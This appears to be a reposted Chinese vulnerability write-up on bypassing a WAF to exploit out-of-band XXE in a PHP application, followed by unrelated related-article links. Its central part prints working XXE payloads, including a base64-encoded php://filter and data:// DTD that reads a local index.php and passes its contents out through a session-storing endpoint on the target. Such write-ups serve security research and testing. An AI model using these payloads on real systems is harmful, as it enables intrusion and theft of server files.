挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用

几个星期以前,作者在某个OOB-XXE漏洞测试中遇到过这样一种场景:目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求(Outgoing Request),但最终,通过利用php://filter//的封装协议,作者成功实现了OOB-XXE漏洞测试。以下是其分享:
在对目标应用的测试分析时,我偶然发现了其中一个路径调用了一个名为xml的参数,但其对应的XML数据值是加密的。之后,我发现该xml参数的XML数据在发送到HTTP请求前仅在客户端实行了加密,也就是说,其应用后端可能未设置对这些XML数据进行必要验证的措施,这样,我就想到能否修改这些XML数据以便注入XXE Payload。
接下来,首先我要找到加密XML数据的JavaScript函数,但却发现目标应用的JavaScript全被静态模块打包器WebPack打包且非常不具可读性和跟踪分析性。所以,要找到JavaScript加密函数是件麻烦事,之后,我想到了在Chrome浏览器工具中设置断点,在XML数据发送到JavaScript加密函数前对它进行修改。

这样一来,我就可以在其中加入外部实体(external entity)进行XML数据构造了,但当我把构造好的XML Payload发送后,目标应用好长时间才有响应”Error while parsing XML”。但当我把其中的外部实体(external entity)修改为 `http://localhost/` 后,目标应用却能及时无误的响应。这种情况,我认为目标应用环境中可能部署有WAF防火墙,它会把一些出站请求拒绝掉。之后,我又尝试了端口和DNS解析请求,但都没成功。
也就是说,现在我面前存在一个XXE漏洞,但是却无能为力。一般来说可能通过探测目标应用内网环境中开放的端口来实现XXE利用,但其WAF防火墙却阻挡了所有出站请求。由于其WAF防火墙未阻止本机用为外部实体,所以,我想找到目标应用公开具备的,不需cookie验证且使用GET参数的路径来实现对某些数据的更改或添加。而这也和目标应用的工作机制非常相符,因为它好多路径并未采用cookie验证和用户ID参数的形式来验证身份。
考虑到这一点,我就开始认真分析查找,最后聚集于一个路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它会调用三个参数:sid、key和val,并把key和val保存到相应的会话ID账户中,而且我们通过访问该路径就可以获取这三个参数值。
所以,现在我就想构造一个向路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test发送GET请求的外部实体,之后看看该路径下的xxe和test值是否已经会发生添加更改,因此,我构造的XXE Payload如下,并把它执行了发送:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
<component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>
之后,当我来到 http://target/endpoint.php?sid=[session_id] 下,我发现sid值已经被添加更改,也就是说,目标应用服务器能正常获取上述实体,并会向提供的路径发送GET请求。如下:

现在思路就慢慢清晰了,至少可以证明其XXE漏洞是存在的,我想深入利用看看能否可读取到目标应用的一些本地文件。要读取本地文件,我们需要创建一个获取文件的参数实体,以及另一个调用该参数实体的实体,为此,我用到了外部文档类型定义(DTD)文件的调用,但问题还是一样,被WAF防火墙阻挡了出站的调用请求,部署在我服务器上的DTD文件不能被正常调用。
这样来说,还是防火墙在作怪,如何来绕过它呢?我想能否存在一种允许文件上传的路径,这样我就能上传我的构造DTD文件,但是,目标应用却根本没任何文件上传功能。一番倒腾之后,我差点放弃了,但是我想到目标应用是PHP架构的,那我想应该可以用php://封装协议的封装器去获取 data:// URI中的资源吧,这样不就能调用到我的DTD文件了吗?
所以,可以定义这样一种参数实体:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>
然后把上述参数实体经base64编码后,利用php://封装协议来请求它,如下:
php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+
当目标应用的XML解析器执行解析时,它会执行以下两个路径的实体解析:
php://filter/convert.base64-encode/resource=file:///D:/path/index.php
http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;
其中的convert.base64-encode是为了能对 index.php 文件内容更方便的获取。所以最终的XXE Payload为:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;
]>
<paramlimits>
<component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>
提交发送之后,来到目标路径http://target/endpoint.php?sid=[session_id]下,可以发现经base64编码的index.php文件内容被成功获取:
当然,深入利用之后就能用这种方法来读取一些敏感的本地文件了。
挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用的更多相关文章
- [转帖]挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息
挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息 https://www.freebuf.com/vuls/202820.html 知识就是力量 5000刀的一个漏洞. ...
- 转:Google Project Zero挖洞经验整理
https://www.sec-un.org/google-project-zero%E6%8C%96%E6%B4%9E%E7%BB%8F%E9%AA%8C%E6%95%B4%E7%90%86/ 1. ...
- 【挖洞经验】如何在一条UPDATE查询中实现SQL注入
直奔主题 跟往常一样,在喝完我最爱的果汁饮料之后,我会习惯性地登录我的Synack账号,然后选择一个应用来进行渗透测试,此时我的“黑客之夜”便正式开始了. 我与很多其他的安全研究人员的习惯一样,我会在 ...
- 2019-11-19:xxe漏洞利用,笔记
xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据 ...
- Linux64位程序中的漏洞利用
之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...
- Windows 漏洞利用开发
第一阶段:简单栈溢出 分析栈溢出原理 寻找溢出点,了解pattern_create和pattern_offset计算溢出点的原理 寻找JMP ESP跳板,分析利用JMP ESP跳板劫持程序流的原理 编 ...
- ms10_046_shortcut_icon_dllloader漏洞利用和ettercap dns欺骗
ms10_046_shortcut_icon_dllloader漏洞利用过程 msf > use exploit/windows/browser/ms10_046_shortcut_icon_d ...
- 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测
web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...
- 绕过WAF进行常见Web漏洞利用
前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...
随机推荐
- 某元素 fixed 后,从页面消失
position: fixed; top: 0; left: 0; width: 100%; z-index: 1; 一开始是定位后,元素就从页面消失了,添加了 层级 之后就可以了.
- input输入文字的时候背景会变色,如何去掉呢?
默认,如图: 当input框输入文字的时候背景会变色,如图: 有两种方法: 1.在form标签里家这个属性就行: autocomplete="off"
- java 并发线程锁
1.同步和异步的区别和联系 异步,执行完函数或方法后,不必阻塞性地等待返回值或消息,只需要向系统委托一个异步过程,那么当系统接收到返回 值或消息时,系统会自动触发委托的异步过程,从而完成一个完整的流 ...
- Linux命令:yum命令
YUM: Yellowdog Update Modifier,rpm的前端程序,可解决软件包相关依赖性,可在多个库之间定位软件包,up2date的替代工具 一.yum命令用法 yum repolist ...
- WebMagic基础与Maven管理依赖
2. 快速开始 WebMagic主要包含两个jar包:webmagic-core-{version}.jar和webmagic-extension-{version}.jar.在项目中添加这两个包的依 ...
- Oracle常用命令复习(备考资料)
Oracle期末考试复习资料,大概的总结了常用的命令,不包括基础理论知识,有的不太考的东西没有整理.资料整理是在有道云笔记里完成的,在这里重新编辑太麻烦了,就附个链接了. 文档:Oracle命令复习2 ...
- 利用Session实现三天免登陆
什么是Session Session:在计算机中,尤其是在网络应用中,称为“会话控制”.(百度百科) Session:服务器端的数据存储技术. Session要解决什么问题 一个用户的不同请求(重定位 ...
- redis集群配置文件
bind xxx.xxx.xxx.xxx 绑定redis服务器网卡IP,默认为127.,即本地回环地址.这样的话,访问redis服务只能通过本机的客户端连接,而无法通过远程连接.如果bind选项为空的 ...
- 记一次NoHttpResponseException问题排查
上传文件程序会有一定的概率提示错误,错误率大概在1%以下,错误信息是:org.apache.http.NoHttpResponseException , s3-us-west-1.amazonaws. ...
- Nginx多站点虚拟主机实现单独启动停止php-fpm、单独控制权限设置
Nginx多站点虚拟主机实现单独启动停止php-fpm.单独控制权限设置 来源:osyunwei.com 作者:qihang01 发表于:2012-08-19 21:26 点击: 说明: 站点1:bb ...